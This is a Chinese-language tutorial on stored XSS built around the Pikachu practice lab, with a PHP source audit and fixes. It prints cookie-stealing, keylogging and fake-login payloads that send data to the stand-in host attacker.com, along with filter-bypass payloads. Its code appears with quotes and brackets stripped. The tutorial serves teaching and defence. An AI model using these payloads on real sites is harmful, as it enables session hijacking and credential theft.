存储型XSS漏洞深度剖析:从Pikachu靶场实战到PHP源码审计
1. 项目概述与核心价值最近在带新人做安全测试的入门练习发现很多朋友对XSS跨站脚本攻击的理解还停留在“弹个框”的层面尤其是对存储型XSSStored XSS的危害性和利用方式认识不足。正好Pikachu靶场的第七关就是一个非常经典的存储型XSS实战场景而且它还提供了源码非常适合我们进行“代码审计”式的深度剖析。这不仅仅是完成一个靶场挑战更是理解一个典型Web漏洞从输入点到存储、再到触发利用的完整链条。存储型XSS顾名思义就是攻击者将恶意脚本“存储”在服务器端比如数据库、文件系统当其他用户访问包含该恶意数据的页面时脚本就会被执行。它的危害远大于反射型XSS因为它是一次注入持续影响所有访问者常被用于盗取Cookie、会话劫持、挂马、蠕虫传播等。通过Pikachu这一关我们可以亲手构造一个存储型XSS的Payload观察它如何被后端处理并存入数据库再模拟其他用户访问时如何触发。更重要的是结合附带的源码我们能像侦探一样逐行分析漏洞产生的根本原因——到底是哪里没有做好过滤或转义。这篇文章我会以一个安全工程师的视角带你完整地“通关”Pikachu第七关。我会先带你手动复现攻击过程让你直观感受漏洞效果然后我们会进入核心的代码审计环节深入PHP源码揪出那个导致漏洞的“罪魁祸首”最后我会分享在实际渗透测试和代码审计中针对这类漏洞的挖掘思路、利用技巧以及修复方案。无论你是刚入门的安全爱好者还是想巩固Web安全基础的开发者相信这篇结合实战与源码分析的长文都能给你带来实实在在的收获。2. 靶场环境搭建与初步探测2.1 环境准备与目标确认首先你需要一个运行起来的Pikachu靶场。通常大家会使用集成环境如PHPStudy、XAMPP或Docker来快速部署。假设你已经将Pikachu的源码解压到Web服务器的根目录例如htdocs/pikachu并通过浏览器访问http://localhost/pikachu看到了首页。进入漏洞练习模块找到“跨站脚本XSS”下的“存储型XSSStored XSS”。这一关的界面通常是一个简单的留言板或帖子提交页面这是存储型XSS最典型的应用场景用户输入内容如留言、评论、昵称被保存后展示给所有访客。在动手之前我们先明确测试目标漏洞点找到页面中用户可控的输入框通常是“留言内容”、“昵称”等。数据流向提交数据 → 后端接收处理 → 存储到数据库 → 其他页面读取展示。验证方法提交一段能触发客户端行为的脚本如弹窗然后刷新页面或在其他浏览器模拟其他用户访问该页面看脚本是否执行。注意请在本地或授权的测试环境中进行所有操作。切勿在未授权的真实网站上进行测试这是违法行为。2.2 基础Payload测试与漏洞确认面对一个输入框我们不要一上来就用复杂的Payload。先从最基础的测试开始这能帮助我们判断后端做了哪些处理。第一步试探性输入在留言内容框里输入一段简单的HTML标签比如btest/b。提交后查看页面反馈。如果单词“test”被加粗显示说明后端直接输出了我们提交的HTML标签没有进行HTML实体转义这是一个危险信号。第二步经典弹窗测试接下来尝试最基本的XSS Payloadscriptalert(xss)/script。提交后观察页面是否直接弹出了显示“xss”的警告框刷新页面观察关闭弹窗后刷新当前页面或者新开一个浏览器标签访问留言板页面是否再次弹窗如果提交后立即弹窗这可能是反射型XSS的行为但本关是存储型。存储型XSS的关键特征是当你再次访问这个页面或其他人访问时脚本依然会执行。所以刷新后再次弹窗是确认存储型XSS的关键。第三步检查元素确认注入位置使用浏览器的开发者工具F12查看我们提交的留言在页面HTML结构中的位置。找到对应的DOM节点看看我们的script标签是被原封不动地插入到了页面中还是被进行了一些处理比如和被转义成了lt;和gt;。原样插入是漏洞存在的直接证据。在Pikachu第七关你会发现提交scriptalert(/xss/)/script后刷新页面弹窗确实会出现这初步证实了存储型XSS漏洞的存在。但我们的探索不能止步于此真正的价值在于理解“为什么”。3. 存储型XSS漏洞原理与利用链深度解析3.1 漏洞产生的核心逻辑链条存储型XSS之所以危险是因为它在服务器端留下了一个“污染源”。我们可以将其生命周期拆解为四个关键环节这构成了完整的利用链输入注入攻击者在客户端向Web应用提交包含恶意脚本的数据。这个入口可以是任何用户可控的输入点如表单、URL参数POST/GET、HTTP头部等。后端处理与存储服务器端应用程序如PHP、Java接收到数据。漏洞就发生在这里程序没有对输入数据进行充分的验证、过滤或转义便将其直接或经过不安全处理后写入了持久化存储介质最常见的是关系型数据库如MySQL。数据读取与渲染当任何用户包括普通用户、管理员或其他访客请求浏览包含该存储数据的页面时服务器从数据库中取出数据并将其嵌入到返回给客户端的HTML响应中。客户端执行用户的浏览器接收到HTML响应将其解析为DOM。由于恶意脚本被当作合法的页面内容的一部分浏览器无法区分这是开发者本意还是攻击者注入的于是脚本便在其安全上下文通常对应着该网站的域和会话中执行。在Pikachu第七关中这个链条非常清晰留言表单输入→ PHP后端接收处理→ 存入数据库存储→ 留言展示页从数据库读取并输出渲染→ 浏览器执行触发。3.2 进阶Payload构造与利用场景实战仅仅弹窗证明漏洞存在但体现不出危害。下面我们构造几个更有“攻击性”的Payload模拟真实攻击场景。场景一盗取用户CookieCookie中往往包含会话标识Session ID。盗取后攻击者可在自己浏览器中设置该Cookie从而直接登录受害者账户无需密码。scriptvar img new Image(); img.src http://attacker.com/steal.php?cookie encodeURIComponent(document.cookie);/script这个Payload创建了一个Image对象并将其src属性指向攻击者控制的服务器attacker.com并将当前页面的Cookie作为URL参数发送过去。steal.php是一个极简的日志记录文件?php $cookie $_GET[cookie]; file_put_contents(cookies.txt, $cookie . \n, FILE_APPEND); ?实操心得在实际测试中你需要将attacker.com替换为你可控的服务器地址或使用Burp Suite的Collaborator功能来接收外带数据。现代浏览器为缓解此类攻击为Cookie设置了HttpOnly属性这使得JavaScript无法通过document.cookie读取到关键会话Cookie大大增加了利用难度。但并非所有Cookie都标记了HttpOnly。场景二键盘记录器注入一个脚本监听用户的键盘事件并将按键信息发送到攻击者服务器。script document.onkeypress function(e) { var key String.fromCharCode(e.keyCode || e.which); var xhr new XMLHttpRequest(); xhr.open(GET, http://attacker.com/log.php?key key, true); xhr.send(); }; /script这个Payload更隐蔽用户可能毫无察觉。场景三页面钓鱼与篡改利用XSS可以动态修改页面内容例如在页面顶部插入一个伪造的登录框诱骗用户输入账号密码。script var fakeLogin document.createElement(div); fakeLogin.innerHTML h3系统会话已过期请重新登录/h3form actionhttp://attacker.com/phish.phpinput typetext nameuser placeholder用户名input typepassword namepass placeholder密码input typesubmit value登录/form; document.body.insertBefore(fakeLogin, document.body.firstChild); /script场景四结合CSRF跨站请求伪造如果网站存在CSRF漏洞XSS可以绕过CSRF令牌的防护因为脚本在同一上下文中运行可以读取页面中的令牌并构造合法请求。例如利用XSS脚本伪造一个修改用户邮箱或转账的POST请求。在Pikachu靶场中我们可以尝试提交上述Payload需替换接收地址为本地测试地址观察效果。这能让你深刻体会到一个看似简单的脚本执行漏洞能衍生出多么多样的攻击方式。4. 核心环节PHP源码审计与漏洞根因剖析这是本文的重头戏。Pikachu靶场提供了源码我们得以像法医一样解剖漏洞产生的每一个环节。我们假设源码位于pikachu/vul/xss/xss_stored.php及相关处理文件。4.1 前端表单与数据提交分析首先查看前端表单xss_stored.phpform methodpost action input typetext namemessage placeholder请输入你的留言 input typesubmit namesubmit value提交留言 /form这里定义了一个POST表单提交到当前页面action。用户输入存储在message参数中。前端通常没有有效的安全防护防护主要靠后端所以这里不是重点。4.2 后端数据处理逻辑审计关键在接收和处理message的PHP代码。通常代码会包含在同一个文件或引入的文件中。我们需要找到类似下面的逻辑?php // 连接数据库代码... if(isset($_POST[submit]) $_POST[message] ! ){ $message $_POST[message]; // 漏洞点这里缺少对 $message 的过滤和转义 $sql insert into message(content,time) values($message,now()); $result mysqli_query($link, $sql); if($result){ echo scriptalert(留言成功)/script; } } ?漏洞根因分析直接拼接SQL次要风险$message直接拼接到SQL语句中如果$message包含单引号等可能引发SQL注入。但Pikachu这一关主要考察XSS我们假设SQL注入已被参数化查询等方式避免或者不是本关重点。核心漏洞输出前未转义即使安全地存入了数据库在从数据库取出数据并输出到HTML页面时问题才真正爆发。查看展示留言的代码部分?php $sql select * from message order by id desc; $results mysqli_query($link, $sql); while($row mysqli_fetch_assoc($results)){ echo div classmessage . $row[content] . /div; // 致命行 } ?看第4行$row[content]即用户留言可能包含我们的恶意脚本被直接使用.连接符拼接进了HTML字符串中然后通过echo输出。PHP的echo函数只是忠实地将字符串发送给浏览器。浏览器接收到div classmessagescriptalert(xss)/script/div这样的内容时会将其解析为DOM其中的script标签自然就被执行了。为什么这是错误的在Web安全中有一条基本原则“一切用户输入皆不可信”。数据在不同的上下文中有不同的含义。在SQL上下文中是字符串分隔符在HTML上下文中和是标签标记符。当我们把来自一个上下文用户输入的数据不加转换地放到另一个上下文HTML输出中时就会导致上下文混淆从而产生注入漏洞。正确的做法应该是在将数据输出到HTML时进行HTML实体转义。PHP提供了htmlspecialchars()函数来做这件事echo div classmessage . htmlspecialchars($row[content], ENT_QUOTES, UTF-8) . /div;htmlspecialchars()会将特殊字符转换为HTML实体变为amp;变为quot;变为#039;(当ENT_QUOTES被设置时)变为lt;变为gt;经过转义后输出到浏览器的内容变成了div classmessagelt;scriptgt;alert(#039;xss#039;)lt;/scriptgt;/div浏览器会将这些实体显示为纯文本“scriptalert(xss)/script”而不会将其解析为脚本标签。4.3 漏洞的变体与绕过技巧浅析在审计和测试时我们还需要知道防御并非简单地调用一个函数就一劳永逸。有时开发者会做部分过滤但可能不彻底这就留下了绕过的空间。过滤script标签如果后端尝试过滤script和/script字符串我们可以尝试大小写混淆、插入无关字符或使用其他标签ScRiPtalert(1)/ScRiPtscript alert(1)/script (标签内多一个空格)img src1 onerroralert(1)(利用HTML标签的事件属性)svg/onloadalert(1)(利用SVG标签)过滤onerror等事件属性可能会过滤onerror、onload、onclick等。可以尝试使用很少见的事件处理器或者利用HTML5的新标签/属性。输出点不在HTML正文而在JavaScript代码或标签属性中在JS变量中scriptvar userInput ?php echo $input; ?;/script。如果$input是;alert(1);//闭合字符串后就能执行代码。此时需要转义、和\或者使用json_encode()。在HTML属性中input value?php echo $input; ?。如果$input是 onmouseoveralert(1)就能闭合value属性添加新的事件处理器。此时需要用htmlspecialchars并指定ENT_QUOTES来转义双引号和单引号。在Pikachu这一关中漏洞非常“标准”就是简单的输出未转义。但在实际审计中你需要像上面这样根据数据最终被放置的“上下文”来推断需要什么样的转义并检查代码是否做到了。5. 漏洞修复方案与安全开发实践找到漏洞很重要但知道如何修复和预防更重要。针对这个存储型XSS漏洞修复是立竿见影的。5.1 立即修复方案对于展示留言的代码行应用HTML实体转义// 修复后的代码 while($row mysqli_fetch_assoc($results)){ $safe_content htmlspecialchars($row[content], ENT_QUOTES, UTF-8); echo div classmessage . $safe_content . /div; }只需这一行改动漏洞即可被堵上。提交任何包含HTML标签的留言都只会被显示为文本。5.2 纵深防御策略单一的措施可能被绕过安全的做法是建立多层次防御输入验证Validation在接收数据的最开始就根据业务逻辑定义数据的“白名单”规则。例如留言内容是否允许HTML如果允许允许哪些标签和属性富文本编辑器场景如果只是纯文本则拒绝任何包含、等字符的输入或将其过滤掉。长度限制也是一种验证。// 示例简单的长度和字符检查 $message $_POST[message]; if(strlen($message) 1000){ die(留言过长); } // 如果明确不允许HTML可以严格过滤 // 但更推荐使用输出转义因为输入过滤可能破坏合法数据比如用户想讨论HTML语法本身。输出编码/转义Encoding/Escaping这是防御XSS的最主要和最有效的手段。原则是根据数据将要嵌入的上下文选择正确的编码方式。HTML正文上下文使用htmlspecialchars($var, ENT_QUOTES, UTF-8)。HTML属性上下文同上必须使用ENT_QUOTES来转义单双引号。JavaScript上下文不要直接用echo嵌入JS应使用json_encode()将PHP变量转换为安全的JSON字符串。URL上下文使用urlencode()或rawurlencode()。CSS上下文有专门的CSS编码规则。使用安全的API或模板引擎现代PHP框架如Laravel、Symfony的模板引擎Blade、Twig默认会自动进行输出转义大大降低了开发者的犯错概率。确保你了解并正确使用这些安全特性。内容安全策略CSP这是一个浏览器端的强力缓解措施。通过在HTTP响应头中设置Content-Security-Policy你可以告诉浏览器只允许执行来自特定来源的脚本内联脚本像我们这种直接写在HTML里的script将被阻止。即使存在XSS漏洞攻击者的脚本也无法执行。Content-Security-Policy: default-src self;这个策略只允许加载同源的资源。5.3 安全开发习惯养成时刻明确数据上下文每当你要将一个变量输出到前端时停下来想一想它会被放在哪里是HTML里、JS里、还是属性里然后选择对应的转义函数。避免使用危险的函数如innerHTML、document.write()、eval()等它们很容易将字符串当作代码执行。如果非用不可必须对插入的内容进行严格的净化。对富文本的处理要格外小心如果需要允许用户输入一些格式如加粗、链接必须使用白名单机制的HTML净化库如PHP的HTML Purifier而不是简单的黑名单过滤。进行安全测试在开发过程中使用自动化工具如静态代码分析工具SAST和手动渗透测试来发现潜在漏洞。6. 实战渗透测试中的XSS挖掘技巧与流程掌握了原理和修复方法我们反过来思考如何在黑盒或灰盒测试中系统性地挖掘存储型XSS漏洞。6.1 测试点枚举任何用户可控且会被持久化展示的输入点都是潜在测试点用户个人资料昵称、签名、头像URL文章、帖子、评论内容商品评价、问答站内信、聊天内容文件上传的文件名如果会显示搜索关键词如果会显示在结果页或历史记录中表单中的所有字段包括隐藏字段6.2 测试Payload库准备一个分层的Payload库从简单到复杂进行测试探测Payloadbtest/b、itest/i、“。用于判断过滤规则和上下文。基础执行Payloadscriptalert(document.domain)/script、img srcx onerroralert(1)、svg onloadalert(1)。绕过Payload根据探测结果调整。如果过滤script尝试大小写、标签嵌套、无效属性。如果过滤空格用/或换行符%0a。如果过滤事件关键字尝试编码如onerror写成on#101;rrorHTML实体。如果只允许特定标签尝试在允许的标签内构造事件如a href”javascript:alert(1)”。利用证明PayloadPOC使用无害但能证明危害的Payload如scriptalert(‘XSS in ‘ document.location)/script明确告知漏洞位置。6.3 测试流程发现输入点浏览应用找到所有可以提交数据的地方。提交探测Payload提交简单的HTML标签观察响应。查看页面源码确认输入被放置在哪个上下文HTML、属性、JS。提交执行Payload根据上下文提交相应的XSS Payload。验证存储性清除浏览器缓存或换浏览器/会话访问相关页面看Payload是否仍会执行。尝试绕过如果Payload被拦截或过滤分析过滤规则尝试构造绕过Payload。证明危害构造一个能盗取Cookie或执行其他操作的Payload在授权范围内证明漏洞的严重性。定位输出点除了提交页面还要去所有可能展示该数据的页面查看漏洞可能存在于后台管理界面危害更大。6.4 工具辅助Burp Suite 拦截请求/响应方便修改Payload和观察结果。Repeater模块用于反复测试Intruder模块用于模糊测试和绕过。浏览器开发者工具 查看DOM结构、网络请求、控制台错误是分析漏洞和调试Payload的必备工具。XSS扫描器 如XSStrike、xsser等可以自动化探测一些常见漏洞但手工测试和理解上下文是不可替代的。7. 从靶场到实战经验总结与思维提升走完Pikachu第七关的整个流程——从漏洞利用到代码审计再到修复方案我们完成了一次完整的漏洞闭环学习。靶场环境是理想的练兵场它把复杂的现实抽象成一个清晰的模型。但实战远比这复杂。在真实世界里你遇到的可能是层层嵌套的模板、经过各种中间件过滤的数据流、前后端分离架构下的API响应或者是使用了现代前端框架如React、Vue的应用这些框架在一定程度上提供了默认的XSS防护如React会自动转义。但这绝不意味着可以高枕无忧。我遇到过在Vue的v-html指令中注入该指令会输出原始HTML、在动态生成的iframe的src属性中注入、甚至在PDF报告生成功能中注入的XSS案例。所以思维比工具和Payload更重要。你需要培养的是那种对数据流的“追踪”意识用户输入从哪里进来经过了哪些函数和组件最终又在哪里被渲染出来每一个环节数据形态是否发生了改变是否有可能被注入到不同的上下文中最后无论是作为开发者还是安全测试者对待XSS这类漏洞的态度应该是零容忍。因为它直接关系到每一个网站访问者的安全。开发时将输出转义作为肌肉记忆测试时不放过任何一个可能的输入点。通过Pikachu这样的靶场反复练习就是为了将安全的编码习惯和敏锐的测试直觉内化成一种职业本能。